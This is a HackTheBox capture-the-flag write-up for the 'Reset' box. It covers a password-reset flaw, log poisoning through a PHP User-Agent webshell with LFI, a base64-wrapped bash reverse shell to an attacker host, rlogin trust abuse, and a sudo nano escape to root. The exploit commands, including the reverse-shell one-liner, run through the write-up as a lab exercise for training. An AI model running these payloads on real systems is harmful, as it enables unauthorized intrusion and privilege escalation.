← Back to all writeups

HTB: Reset — Password Reset Disclosure to Log Poisoning RCE

HACKTHEBOX EASY LINUX LOG POISONING RSERVICES GTFOBINS
Author: th3_m4d_h4ck3r  |  Framework: Scarif Operations  |  Season 11

> OVERVIEW

Reset is an Easy-rated Linux box built around a genuinely broken password reset endpoint, a log-poisoning-to-RCE chain, and a deep cut into legacy Rservices trust relationships for privesc. Every individual vulnerability here is well documented and, on paper, simple. In practice, the log poisoning step turned into the longest debugging session of the season — not because the vulnerability was hard to find, but because getting a reliable reverse shell out of it required untangling three separate, compounding failure modes at once. That debugging process is worth documenting in as much detail as the exploit itself.

> RECON

sudo nmap -sV -sC -p- --min-rate 5000 <target>
PortService
22OpenSSH
80Apache — "Admin Login" page
512netkit-rsh rexecd
513rlogin
514Netkit rshd

Ports 512–514 are the classic Rservices trio — a strong signal for later, legacy trust-based lateral movement.

> PASSWORD RESET — CREDENTIALS HANDED BACK IN THE RESPONSE

The site's "Forgot Password?" flow posts a username to reset_password.php. The endpoint doesn't require knowing anything about the account first — and its JSON response contains the freshly generated password in plain text:

curl -s -X POST http://<target>/reset_password.php -d "username=admin"
# {"username":"admin","new_password":"0af20d2b","timestamp":"..."}

That's immediate, unauthenticated account takeover for any known or guessable username. Logging in as admin with the returned password grants access to dashboard.php — an internal log viewer with a dropdown for syslog and auth.log.

> THE LFI — AND WHY EARLY TESTS ALL CAME BACK BLANK

The log viewer passes the selected path directly to the backend via a file POST parameter, with only a loose /var/log/ prefix check — no whitelist enforcement beyond that. Pointing it at /var/log/apache2/access.log should be a textbook log-poisoning setup: Apache logs the request User-Agent verbatim, so a PHP payload placed there gets written to a file the app is willing to include.

Every initial test against /var/log/syslog, /var/log/auth.log, and even /etc/passwd came back completely blank or "Invalid file path," with no obvious pattern. The instinct here was to suspect log rotation, a race condition, session expiry, or file permissions — and each of those turned out to be a real, if minor, factor at different points. The actual root cause of most of the "blank" results, though, was much dumber: a grep -oP extraction pattern using .*? to pull content out of the response, which does not match across newlines by default. Since the log content spans many lines, the regex silently matched nothing — even when the underlying request and response were both completely fine.

Confirming the LFI actually worked meant abandoning fragile one-line extraction patterns in favor of dumping full raw responses and eyeballing them directly:

curl -s "http://<target>/THISISAUNIQUEMARKER12345"
curl -s -b cookies.txt -X POST http://<target>/dashboard.php \
  -d "file=/var/log/apache2/access.log" | grep -A5 "Log Contents"

Once verified with a controlled, uniquely identifiable marker string, the LFI was confirmed solid and had never actually been broken.

> POISONING — TWO MORE LAYERS OF FAILURE BEFORE A CLEAN SHELL

With the LFI confirmed, the next step — planting <?php system($_GET['cmd']); ?> via User-Agent and triggering it with a matching query parameter — produced a working phpinfo() execution, proving code execution worked. Getting an actual reverse shell out of it surfaced two more distinct problems.

Problem 1: the log never rotates

Every poisoned line ever sent stays in the file indefinitely. Since the viewer includes the whole log top-to-bottom, an earlier test payload using $_GET['cmd'] would still execute first on every later request. If that request didn't happen to also supply a cmd parameter, PHP 8's strict typing threw a fatal TypeError passing null into system(), halting the entire script before it ever reached a newer payload further down the file.

Fix: keep supplying every parameter name any earlier test payload depended on, on every subsequent request, so old broken lines have a harmless value to consume instead of crashing. Cleaner still: write new payloads with no external dependency on $_GET at all once the hardcoded final command is known.

Problem 2: system() invokes /bin/sh, not bash

Once a payload was self-contained, the classic reverse shell one-liner still silently failed:

bash -i >& /dev/tcp/<attacker>/4444 0>&1
PHP's system() executes commands via /bin/sh, which on Ubuntu is dash, not bash. dash does not support the >& redirection shorthand bash uses for combining stdout/stderr into a socket — it's a bash-specific extension. The command was silently failing at the shell level, with no error surfaced anywhere, because it never even reached a shell that understood the syntax.

The fix avoids the bash-vs-dash mismatch entirely by base64-encoding the real payload and explicitly piping it into bash, keeping the outer command POSIX-compatible (plain piping works fine under dash):

# Encode the real payload
echo -n 'bash -i >& /dev/tcp/<attacker>/4444 0>&1' | base64 -w0

# Poison with the encoded, self-contained payload
curl -s http://<target>/ \
  -A "<?php system('echo <BASE64>|base64 -d|bash'); ?>" -o /dev/null

# Trigger (with any legacy $_GET names still needed to survive older lines)
curl -s -b cookies.txt -X POST "http://<target>/dashboard.php?cmd=id&trigger=id" \
  -d "file=/var/log/apache2/access.log" -o /dev/null &

That landed a clean shell as www-data.

> PRIVESC — RSERVICES TRUST ABUSE

/etc/hosts.equiv confirmed the setup hinted at by the open Rservices ports:

- root
- local
+ sadm

The bare + sadm entry means any remote host is trusted to log in as sadm via rlogin with no password at all — rsh/rlogin's antiquated trust model authenticates based on the connecting username and hostname/IP matching an allow-list, not a credential. The only trick is that the client also needs a local account literally named sadm, since the trust decision is keyed off the connecting username:

# on the attacker box
sudo useradd sadm
sudo passwd sadm
su sadm
rlogin <target>

That dropped straight into an interactive session as sadm on the target, zero credentials required.

> ROOT — A LIVE TMUX SESSION AND SUDO NANO

sadm had an existing detached tmux session:

find / -user sadm 2>/dev/null | grep tmux
tmux ls
tmux attach -t sadm_session

The pane showed a half-completed command — sadm piping a password into a sudo prompt that had already failed once:

echo <PASSWORD> | sudo -S nano /etc/firewall.sh
Too many errors from stdin

That leaked password worked cleanly for a real sudo -l:

User sadm may run the following commands on reset:
    (ALL) PASSWD: /usr/bin/nano /etc/firewall.sh
    (ALL) PASSWD: /usr/bin/tail /var/log/syslog
    (ALL) PASSWD: /usr/bin/tail /var/log/auth.log

nano with sudo rights is a documented GTFOBins escape:

sudo /usr/bin/nano /etc/firewall.sh
# Ctrl+R, Ctrl+X, then type:
reset; sh 1>&0 2>&0
root@reset:~# cat /root/root.txt
[root flag captured ✅]

> ATTACK CHAIN SUMMARY

  1. Password reset endpoint returns the newly generated password directly in its JSON response — no verification of requester identity required
  2. Admin login grants access to a log-viewer dashboard passing an attacker-controlled file path with only a loose prefix check
  3. Apache's own access log is poisoned with a PHP payload via the User-Agent header
  4. The log-inclusion LFI executes the planted payload, achieving RCE as www-data — after working through log accumulation, a PHP null-argument fatal error, and a dash-vs-bash redirection incompatibility
  5. /etc/hosts.equiv trusts any host connecting as user sadm via legacy rsh/rlogin services, requiring only a matching local username on the attacking machine — no credentials
  6. A live, detached tmux session belonging to sadm leaks a sudo password mid-command
  7. Sudo rights over nano are abused via a documented GTFOBins shell-escape technique for full root

> LESSONS LEARNED


Scarif Operations  |  th3m4dh4ck3r.com  |  CPTS prep, Season 11